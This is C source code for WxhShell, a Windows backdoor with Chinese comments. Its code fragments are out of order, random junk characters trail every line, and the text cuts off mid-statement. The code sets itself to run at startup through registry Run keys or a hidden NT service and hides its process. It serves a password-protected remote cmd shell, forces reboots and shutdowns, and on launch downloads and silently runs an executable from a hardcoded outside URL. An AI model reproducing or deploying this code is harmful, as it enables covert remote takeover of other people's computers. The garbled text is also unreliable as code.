  case 'd': { C 7YZ;{t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b4!(~"b.  
    if(Boot(SHUTDOWN)) AYd7qx:~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0tm%Kd  
    else { :S0r)CNP  
    closesocket(wsh); 97e fWYj  
    ExitThread(0); B%Dy;zdWd/  
    } lz EF^6I  
    break; $:s1x\ol  
    } tfvX0J  
  // 获取shell 3/>McZ@OH  
  case 's': { Byyus[b'A  
    CmdShell(wsh); -7*,}xV  
    closesocket(wsh); b[? 6/#N  
    ExitThread(0); /d9I2~}B  
    break; kWc%u-_  
  } .B{3=z^  
  // 退出 ,(}7 ST  
  case 'x': { l.\Fr+*ej  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cq?l>  
    CloseIt(wsh); {f3)!Pei`J  
    break; m'XzZmI  
    } Hu|NS{Ke-  
  // 离开 2[LT!TT  
  case 'q': { XgP7 !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .6+j&{WNo!  
    closesocket(wsh); `+1+0?9  
    WSACleanup(); 9 bYoWw  
    exit(1); *TVr| to  
    break; '0GCaL*Sd  
        } pvQw+jX  
  } q-eC=!#}  
  } k/=J<?h0  
.%<oy"_  
  // 提示信息 X{P_HCd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = \AI92  
} 1Wtr_A  
  } \eH~1@\S  
}H!c9Y  
  return; 4K[E3aA  
} YwQxN"  
Cy4@\X%W  
// shell模块句柄 R5NDT4QYU  
int CmdShell(SOCKET sock) ZOK2BCoW  
{ f{FW7T}O2  
STARTUPINFO si; y/h~oGxy  
ZeroMemory(&si,sizeof(si)); {*ATY+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,>V|%tD'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ++-HdSHY  
PROCESS_INFORMATION ProcessInfo; nZ>qM]">u  
char cmdline[]="cmd"; 8]]uk=P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2HoTj|  
  return 0; tm@&f  
} L TZ3r/  
[0El z@.C  
// 自身启动模式 6C4c.+S  
int StartFromService(void) C$SuFL(pb  
{ @ U'g}K  
typedef struct G`9Ud  
{ *?Nrx=O*  
  DWORD ExitStatus; MzL^u8  
  DWORD PebBaseAddress; |)* K#%j  
  DWORD AffinityMask; f)l:^/WP+  
  DWORD BasePriority; w&hgJ  
  ULONG UniqueProcessId; Q4Zuz)r*  
  ULONG InheritedFromUniqueProcessId;  #8MA+  
}   PROCESS_BASIC_INFORMATION; U748$%}]  
8{#W F#  
PROCNTQSIP NtQueryInformationProcess; NE,2jeZQ.  
<iuESeDG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sI7d?+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vm"LPwSk>  
z6]dF"N  
  HANDLE             hProcess; >0Y >T6!  
  PROCESS_BASIC_INFORMATION pbi; x :\+{-  
I'HPy.PV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zy|B~.@<j  
  if(NULL == hInst ) return 0; D+P(  
F{0Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BaZ$pO^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P}29wrIZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X0Y1I}gD  
,Md8A`7x~  
  if (!NtQueryInformationProcess) return 0; $wg5q\Rv  
1PpZ*YK3z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V zuW]"  
  if(!hProcess) return 0; :m]~o3KRy  
f6vhW66:?x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; njtz,qt_;G  
"XlNKBgM  
  CloseHandle(hProcess); "XfCLc1 T  
y$|%K3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yhv(KI  
if(hProcess==NULL) return 0; Q@?8-  
Ok2KTsVl  
HMODULE hMod; 5. 5<.")  
char procName[255]; 4l7TrCB  
unsigned long cbNeeded; bc=,$  
g5M=$y/H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $s+/OgG4H  
 (-Cxv`7  
  CloseHandle(hProcess); dv -L!C  
M<^]Ywq*p  
if(strstr(procName,"services")) return 1; // 以服务启动 7aRtw:PQn  
fqrQ1{%UH  
  return 0; // 注册表启动 3.@"GS#"[  
} m0QE S  
6!zBLIYFI  
// 主模块 )12.W=p  
int StartWxhshell(LPSTR lpCmdLine) h?R{5?RxK  
{ J!Er%QUR  
  SOCKET wsl; :dq.@:+<R  
BOOL val=TRUE; 94VtGg=b}  
  int port=0; WJWi'|C4  
  struct sockaddr_in door; k-IL%+U  
5{Q5?M]  
  if(wscfg.ws_autoins) Install(); N(uHy@  
F] e` -;  
port=atoi(lpCmdLine); lC/1,Z/M  
|_."U9!Z^  
if(port<=0) port=wscfg.ws_port; 8C]K36q  
)Tjh  
  WSADATA data; x1H1[0w,i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x1]J  
K8#MQR2@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k%uR!cL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ha~F&H|"O  
  door.sin_family = AF_INET; _D~l2M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K&ZN!VN/p  
  door.sin_port = htons(port); } I>68dS[  
!C\$=\$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9d&@;&al  
closesocket(wsl); & "i4og<  
return 1; F t/yPv  
} XSk*w'xO  
`#HtVI  
  if(listen(wsl,2) == INVALID_SOCKET) { T_R2BBT v  
closesocket(wsl); yPY}b_W  
return 1; '8%jA$o\g  
} ;)~}/nR<a  
  Wxhshell(wsl); =LXjq~p  
  WSACleanup(); YP E1s  
"5<:Dj/W  
return 0; 8;6j  
')N[)&&Q{  
} 1WjNFi  
@k=UB&?I  
// 以NT服务方式启动 0JFS%Yjw[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "s-3226kj  
{ y0vJ@ %`  
DWORD   status = 0; YRg"{[+#]k  
  DWORD   specificError = 0xfffffff; <O Y (y#x  
[|".j#ZlK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hg&.U;n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L0l'4RRm\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]K?;XA3dZ  
  serviceStatus.dwWin32ExitCode     = 0; c wNJ{S+  
  serviceStatus.dwServiceSpecificExitCode = 0; '9{`Czc(Gb  
  serviceStatus.dwCheckPoint       = 0; R2Es~T  
  serviceStatus.dwWaitHint       = 0; -pmb-#`M  
Gj_7wP$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Emy=q5ryl  
  if (hServiceStatusHandle==0) return; b?{MXJ|  
|L/EH~| O  
status = GetLastError(); a\m_Q{:  
  if (status!=NO_ERROR) n6AA%? 5  
{ RW{y.WhB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "I3 #/~q  
    serviceStatus.dwCheckPoint       = 0; 3r VfBz  
    serviceStatus.dwWaitHint       = 0; (E;+E\E  
    serviceStatus.dwWin32ExitCode     = status; Ez8k.]qu  
    serviceStatus.dwServiceSpecificExitCode = specificError; *+OS;R1<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uMx6:   
    return; !"2S'oQKS  
  } oyB gF\  
[Dhqyjq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CvHE7H|-{  
  serviceStatus.dwCheckPoint       = 0; fmq''1u  
  serviceStatus.dwWaitHint       = 0; D@2L<!\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); arIEd VfNa  
} Um}f7^fp^l  
eFh7#~m  
// 处理NT服务事件,比如:启动、停止 6Hbu7r*tm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g,9&@g/  
{ 3 ,zW6 -}  
switch(fdwControl) M>E~eb/  
{ >.M>,m\  
case SERVICE_CONTROL_STOP: y2W|,=Vd  
  serviceStatus.dwWin32ExitCode = 0; Vwu dNjL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5?MaKNm}  
  serviceStatus.dwCheckPoint   = 0; T;G<62`.h  
  serviceStatus.dwWaitHint     = 0; {xAd>fGG+y  
  { vPz$+&{I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y\omJx=,  
  } e2e!"kEF  
  return; ;FQNO:NP  
case SERVICE_CONTROL_PAUSE: NbC2N)L4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KomMzG:  
  break; MaPOmS8?  
case SERVICE_CONTROL_CONTINUE: fat;5XL@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3eg6 CdT  
  break; ^T:L6:  
case SERVICE_CONTROL_INTERROGATE: ph}%Ay$  
  break; zuu<;^/R  
}; :YQI1 q[6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); br^ A<@,d  
} &~Pk*A_:  
*`} !{ Mb  
// 标准应用程序主函数 k".kbwcaF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uNkJe  
{ c]h@<wnv  
0SfW:3  
// 获取操作系统版本 B0U(B\~Y  
OsIsNt=GetOsVer(); Bn9#F#F<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l?QA;9_R'  
+OqEe[Wk#  
  // 从命令行安装 ]#Cc7wa  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9: .m]QN  
,z<1:st]<  
  // 下载执行文件 N]eBmv$|  
if(wscfg.ws_downexe) { 3&>0'h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wVqp')e  
  WinExec(wscfg.ws_filenam,SW_HIDE); W]oa7VAq  
} 76bMy4re  
hxzA1s%~  
if(!OsIsNt) { CuD}Uo+u  
// 如果时win9x,隐藏进程并且设置为注册表启动 O wuc9  
HideProc(); &r.M~k >  
StartWxhshell(lpCmdLine); ; PncJe5x  
} :hT.L3n,  
else e!PB3I  
  if(StartFromService()) %ufh  
  // 以服务方式启动 "={*0P  
  StartServiceCtrlDispatcher(DispatchTable); F^$;hMh%  
else n$N$OFuO  
  // 普通方式启动 {nXygg J  
  StartWxhshell(lpCmdLine); Cdy,8*   
>+Ig<}p  
return 0; U(0FL6sPC  
} d#TA20`  
K-~gIlbQ`  
JO*/UC>"  
BPa,P_6(  
=========================================== Fsm6gE`|n  
p U9 .#O  
5RvE ),  
1 _Oc1RM   
PWZd<  
qEuO@oE  
" 4e/!BGkAS  
xL1Li]fM!'  
#include <stdio.h> S.4+tf 7+  
#include <string.h> iMt3h8  
#include <windows.h> rrr_{d/  
#include <winsock2.h> d|oO2yzWv  
#include <winsvc.h> 3:MJKS02OD  
#include <urlmon.h> {aNpk,n  
8q%y(e  
#pragma comment (lib, "Ws2_32.lib") "!D y[J  
#pragma comment (lib, "urlmon.lib") ^~I@]5Pq  
+}N'Xa/Jt  
#define MAX_USER   100 // 最大客户端连接数 $,2T~1tE  
#define BUF_SOCK   200 // sock buffer PcEE`.  
#define KEY_BUFF   255 // 输入 buffer Yb-{+H8{J  
zPND $3&'  
#define REBOOT     0   // 重启 [nZIV  
#define SHUTDOWN   1   // 关机 -&sY*(:n_  
t))MZw&@  
#define DEF_PORT   5000 // 监听端口 ;:j1FOj  
HO['o{>BL  
#define REG_LEN     16   // 注册表键长度 hO&b\#@~  
#define SVC_LEN     80   // NT服务名长度 CxeW5qc  
`:Gzjngc  
// 从dll定义API \7i_2|w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;<N:!$p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m)} 01N4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #H w(w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iX6>u4~(  
Vn4wk>b}$2  
// wxhshell配置信息 :u./"[G  
struct WSCFG { GE(~d '  
  int ws_port;         // 监听端口 3PGAUQR#"q  
  char ws_passstr[REG_LEN]; // 口令 _<LL@IX  
  int ws_autoins;       // 安装标记, 1=yes 0=no @U18Dj[  
  char ws_regname[REG_LEN]; // 注册表键名 MNWI%*0LO  
  char ws_svcname[REG_LEN]; // 服务名 8'zZVX D<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y7M{L8{0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \OA{&G.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <|4$T H^ t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \$ipnQv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t$z[ ja=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^\AeX-q2v'  
u30D`sky  
}; K\rQb  
V-}}?c1 F  
// default Wxhshell configuration jZzTnmm&?  
struct WSCFG wscfg={DEF_PORT, 1'\QD`M9^  
    "xuhuanlingzhe", X0u,QSt' O  
    1, q9_ $&9  
    "Wxhshell", 1f}(=Hv{  
    "Wxhshell", uD>=  
            "WxhShell Service", >4jE[$p]"  
    "Wrsky Windows CmdShell Service", W\k8f+Ke  
    "Please Input Your Password: ", ?:J_+? {E  
  1, *$g!/,  
  "http://www.wrsky.com/wxhshell.exe", k_L`  
  "Wxhshell.exe" GeTk/tU  
    }; nFNRiDx  
#dj?^n g  
// 消息定义模块 uy'seJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ztg_='n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Q%lS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s:}? rSI  
char *msg_ws_ext="\n\rExit."; 'ZW(Hjrd  
char *msg_ws_end="\n\rQuit."; b/'c h  
char *msg_ws_boot="\n\rReboot..."; Mg.%&vH\  
char *msg_ws_poff="\n\rShutdown..."; N! 7}B  
char *msg_ws_down="\n\rSave to "; iyl i/3|  
RkYn6  
char *msg_ws_err="\n\rErr!"; :.,9}\LK  
char *msg_ws_ok="\n\rOK!"; ]alc%(=  
t`"m@  
char ExeFile[MAX_PATH]; ]a4U\yr  
int nUser = 0; M_};J;  
HANDLE handles[MAX_USER]; cdt9hH`Cd  
int OsIsNt; mkn1LzE|F  
j4?Qd0z  
SERVICE_STATUS       serviceStatus; Bz/Vzc(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yx5e  
Sl G v  
// 函数声明 E7fQ9]  
int Install(void); I_<XL<  
int Uninstall(void); x3=1/#9  
int DownloadFile(char *sURL, SOCKET wsh); ki9&AFs2X  
int Boot(int flag); !k)6r6  
void HideProc(void); yov~'S9  
int GetOsVer(void); ^ ~Eh+  
int Wxhshell(SOCKET wsl); F'Y ad  
void TalkWithClient(void *cs); cRVL1ne  
int CmdShell(SOCKET sock); . ,^WCyvq  
int StartFromService(void); 2|,L 9  
int StartWxhshell(LPSTR lpCmdLine); Reikf}9Q  
iPTQqx-m$7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hw]E#S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;7lON-@BI  
6P1s*u  
// 数据结构和表定义  ma~#E$i&  
SERVICE_TABLE_ENTRY DispatchTable[] = \b"rf697 ,  
{ E$)|Kv^  
{wscfg.ws_svcname, NTServiceMain}, WR)=VE   
{NULL, NULL} ^)Hf%  
}; Plp.\N%f3  
R@\}iyM  
// 自我安装 (`.OS)&  
int Install(void) XP@dg4Z=z  
{ ,Z@#( =f  
  char svExeFile[MAX_PATH]; ( 2HM "Pd  
  HKEY key; 4k;FZo]S  
  strcpy(svExeFile,ExeFile); f8]sjeY  
N `|A  
// 如果是win9x系统,修改注册表设为自启动 'Rn-SD~gIr  
if(!OsIsNt) { pbzFzLal  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8}  B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W`;;fJe  
  RegCloseKey(key); kh W.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zeHF-_{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U>E: Ub0r  
  RegCloseKey(key); {cm?Q\DT  
  return 0; _RbfyyaN  
    } =X4Fn^w"4O  
  } |h]V9=  
} z qeQ  
else { j>\c > U  
r<UVO$N  
// 如果是NT以上系统,安装为系统服务 AHb_BgOU*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :\OSHs<M  
if (schSCManager!=0) jSY[Y:6md  
{ OIrm9D #  
  SC_HANDLE schService = CreateService RV~fml9c  
  ( P}@AH02  
  schSCManager, ~Ru\Z-q1  
  wscfg.ws_svcname, 7ftn gBv?  
  wscfg.ws_svcdisp, QH/py  
  SERVICE_ALL_ACCESS, TpKAdrY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uY& 1[(Pb  
  SERVICE_AUTO_START, /f3/}x!po  
  SERVICE_ERROR_NORMAL, {@InOo!4w]  
  svExeFile, KZppQ0  
  NULL, ?"x4u#x  
  NULL, C}8#yAS9M  
  NULL, b(*\4n  
  NULL, E3uu vQ#|  
  NULL Je6[q  
  ); = l`)b  
  if (schService!=0) NIV}hf YF  
  { #fuUAbU0X  
  CloseServiceHandle(schService); v"G1vSx)BT  
  CloseServiceHandle(schSCManager); y]j.PT`Cw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YN8x|DLi?  
  strcat(svExeFile,wscfg.ws_svcname); Mn0.! J "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8rsc@]W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pbVL|\oB}  
  RegCloseKey(key); 54_}9_g  
  return 0; }'oU/@yG  
    } X1^VdJE  
  } ;I>nA6A  
  CloseServiceHandle(schSCManager); cJ4My#w  
} cJo%j -AM  
} \O|SPhaIf  
7Jn%XxHq  
return 1; ]Z!Y *v  
} #J[g r_  
C`.YOkpj  
// 自我卸载 F!vrvlD`s  
int Uninstall(void) j 6qtR$l|  
{ 7V"?o  
  HKEY key; W'./p"2g  
yYCS-rF>  
if(!OsIsNt) { 'UhoKb_p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8M5)fDu*?  
  RegDeleteValue(key,wscfg.ws_regname); $C[z]}iOi  
  RegCloseKey(key); X7*F~LFr j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 46C%at M0}  
  RegDeleteValue(key,wscfg.ws_regname); ._}}@V_/  
  RegCloseKey(key); LqWiw24#  
  return 0; E|@C:ghG  
  } fd)8lK[KJ"  
} R]"Zv'M(AM  
} qed_PsI  
else { 7 Lm9I  
:5k* kx#y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q[$>\Nfg>B  
if (schSCManager!=0) !l'nX  
{ s%jBIeh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J n.7W5v  
  if (schService!=0) iXWHI3  
  { uKJ:)oyaCP  
  if(DeleteService(schService)!=0) { 4$Ai!a  
  CloseServiceHandle(schService); B {Cm`f8E  
  CloseServiceHandle(schSCManager); R$:-~<O  
  return 0; @@ Q4{o  
  } AwJg/VBo)  
  CloseServiceHandle(schService); =Vg~ VD   
  } yq~  
  CloseServiceHandle(schSCManager); ?{J1&;j*  
} +Br<;sW  
} n_QuuUB  
TK5$-6k  
return 1; K$S0h-?9]O  
} M^kaik  
qYoW8e   
// 从指定url下载文件 c~T {;  
int DownloadFile(char *sURL, SOCKET wsh) :w^:Z$-hf  
{ :|j[{;asY  
  HRESULT hr; ~?/7: S  
char seps[]= "/"; DI0& _,  
char *token; aCU[9Xr?  
char *file; +Y?Tri  
char myURL[MAX_PATH]; -h8mJ D%Oi  
char myFILE[MAX_PATH];  ^*P?gG  
eXl?f_9  
strcpy(myURL,sURL); @fd<  
  token=strtok(myURL,seps); #aqnj+  
  while(token!=NULL) / 4Q=%n  
  { C >OeULD  
    file=token; Hca(2 ]T-  
  token=strtok(NULL,seps); !{ &r|6  
  } x.1= QF{!  
=]@Bc 7@  
GetCurrentDirectory(MAX_PATH,myFILE); Zr}>>aIJ]k  
strcat(myFILE, "\\"); amsl>wc!  
strcat(myFILE, file); 11PL1zzH  
  send(wsh,myFILE,strlen(myFILE),0); Vz mlKVE  
send(wsh,"...",3,0); ]y OM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2^XmtT  
  if(hr==S_OK) 6C$+D  
return 0; @5Z|e  
else {V[xBL <  
return 1; |]kiH^Ap  
W 8<QgpV*  
} LNL}R[1(  
 *RY}e  
// 系统电源模块 g!0 j1  
int Boot(int flag) h),;j`PrC  
{ IsE&k2 SD  
  HANDLE hToken; {tVA(&\<  
  TOKEN_PRIVILEGES tkp; jnV#Q ;  
Gr({30"8  
  if(OsIsNt) { q~qz^E\T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {JWixbA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T)tr"<F5NP  
    tkp.PrivilegeCount = 1; [)`*k#.=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yK{P%oh)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RlfI]uCDM  
if(flag==REBOOT) { {r&r^!K;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &wNr2PHd#  
  return 0; %[n5mF*`  
} (0`rfYv5.R  
else { puOMtCI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #7fOH U8v  
  return 0; jHq+/\  
} I85wP}c(  
  } 0+0 Y$;<  
  else { wW TuEM  
if(flag==REBOOT) { ;)rhx`"n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z{R Mb  
  return 0; TrDTay  
} J#d,?  
else { .UxkTads  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  !5 S#  
  return 0; DvWBvs,  
} _~Lu%   
} |TJ gH<I  
[?z;'O}y  
return 1; ['(qeS@5O  
} E.#JCO|(1  
1mV ' ~W  
// win9x进程隐藏模块 X'd\b}Bm  
void HideProc(void) NiG&Lw*8  
{ pTAm}  
;zqxDl_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qA}l[:F+#  
  if ( hKernel != NULL ) (ht"wY#T<(  
  { hQ3@CfW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); covCa)kf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z%fjG}z  
    FreeLibrary(hKernel); i (rYc  
  } ?(s9dS,7wZ  
Jn(|.eT|  
return; O-AC$C[d  
} aeMj4|{\  
E:}s 6l  
// 获取操作系统版本 89[/UxM)  
int GetOsVer(void) u}'m7|)8  
{ d3oRan}z  
  OSVERSIONINFO winfo; )m-(-I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z){fie4WM  
  GetVersionEx(&winfo); iLdUus!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T&dc)t`o  
  return 1; *`s*l+0b  
  else Mf5kknYuL9  
  return 0; @sR/l;  
} <MxA;A  
}2=~7&)  
// 客户端句柄模块 c7rC!v  
int Wxhshell(SOCKET wsl) +o.#']}Pl  
{ 0>,i] |Y  
  SOCKET wsh; j;Z hI y  
  struct sockaddr_in client; n~,6!S  
  DWORD myID; h\C1:0x{  
MO]zf3f!  
  while(nUser<MAX_USER) e{: -N  
{ - 6q7ze{@  
  int nSize=sizeof(client); BT:b&"AR[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _J>Ik2EF  
  if(wsh==INVALID_SOCKET) return 1; :>y5'q@R  
dn5t7D^ x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p3%cb?G%w  
if(handles[nUser]==0) V(G{_>>  
  closesocket(wsh); j1JdG<n  
else \KEmfCx'n  
  nUser++; 2%l(qf N9  
  } p,4S?c r>a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CyS.GdyP  
AfW:'>2  
  return 0; 'mU\X!- 4<  
} =+e;BYD#!  
ZA4sEVHW  
// 关闭 socket ^]LWcJ?"^!  
void CloseIt(SOCKET wsh) CIR2sr0a  
{ h#h)=;  
closesocket(wsh); ,|O|gh$s  
nUser--; Ob'[W;p)[w  
ExitThread(0); [c>YKN2qa  
} ?.I1"C,#VJ  
Y Odwd}M  
// 客户端请求句柄 -z/>W+k  
void TalkWithClient(void *cs) xG%O^  
{ c*8k _o,  
?f6Fj  
  SOCKET wsh=(SOCKET)cs; P+p:Ed 80  
  char pwd[SVC_LEN]; ;S2/n$Ju_  
  char cmd[KEY_BUFF]; CfLPs)\ACm  
char chr[1]; q_6 <}2m,U  
int i,j; 0@!-+}i  
=rNI&K_<  
  while (nUser < MAX_USER) { S?H qrf7<  
Yu9(qRK  
if(wscfg.ws_passstr) { e58tf3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^O5PcV3Eg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EU7mP MxJ  
  //ZeroMemory(pwd,KEY_BUFF); r-}C !aF]  
      i=0; }8'bXG+  
  while(i<SVC_LEN) { i/DUB<>p6  
}5gQ dj[Y  
  // 设置超时 ][Cg8  
  fd_set FdRead; cj3P]2B#  
  struct timeval TimeOut; } AHR7mu=  
  FD_ZERO(&FdRead); Daf;; w  
  FD_SET(wsh,&FdRead); &W y9%  
  TimeOut.tv_sec=8; 2)`4(38  
  TimeOut.tv_usec=0; 0o!Egq_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $T'lWD*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [{-;cpM \  
K30{Fcb< h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M[dJQ (  
  pwd=chr[0]; _K>YB>W}7  
  if(chr[0]==0xd || chr[0]==0xa) { cr{f*U6`  
  pwd=0; SR'u*u!  
  break; Y&b JKX  
  } SQBe}FlktK  
  i++; #c1c%27cmm  
    } dBp)6ok#c  
[%6"UH r  
  // 如果是非法用户,关闭 socket x_KJCU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v+2t;PJd2  
} 7gbu7"Qc  
Pu|3_3^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %,5_]bGvb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xCiq;FFR  
[lAZ)6E~=  
while(1) { 4}HY= 0Um  
>uDE<MUC  
  ZeroMemory(cmd,KEY_BUFF); Bt-2S,c,o  
TzY[- YlvF  
      // 自动支持客户端 telnet标准   "PY&NL?  
  j=0; 1O;q|p'9  
  while(j<KEY_BUFF) { uyWt{>$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G8p6p6*  
  cmd[j]=chr[0]; f>_' ]eM%  
  if(chr[0]==0xa || chr[0]==0xd) { Y]{~ogsn$:  
  cmd[j]=0; GZqy.AE,  
  break; xrl!$xE GX  
  } b\Gw|?Rv  
  j++; DlbNW& V  
    } w57D qG>  
L(qQ,1VY  
  // 下载文件 r5aOQ  
  if(strstr(cmd,"http://")) { *U^7MU0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wi{ jC?2Q  
  if(DownloadFile(cmd,wsh)) EJ`"npU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wtnC^d$  
  else Bgj^n{9x  
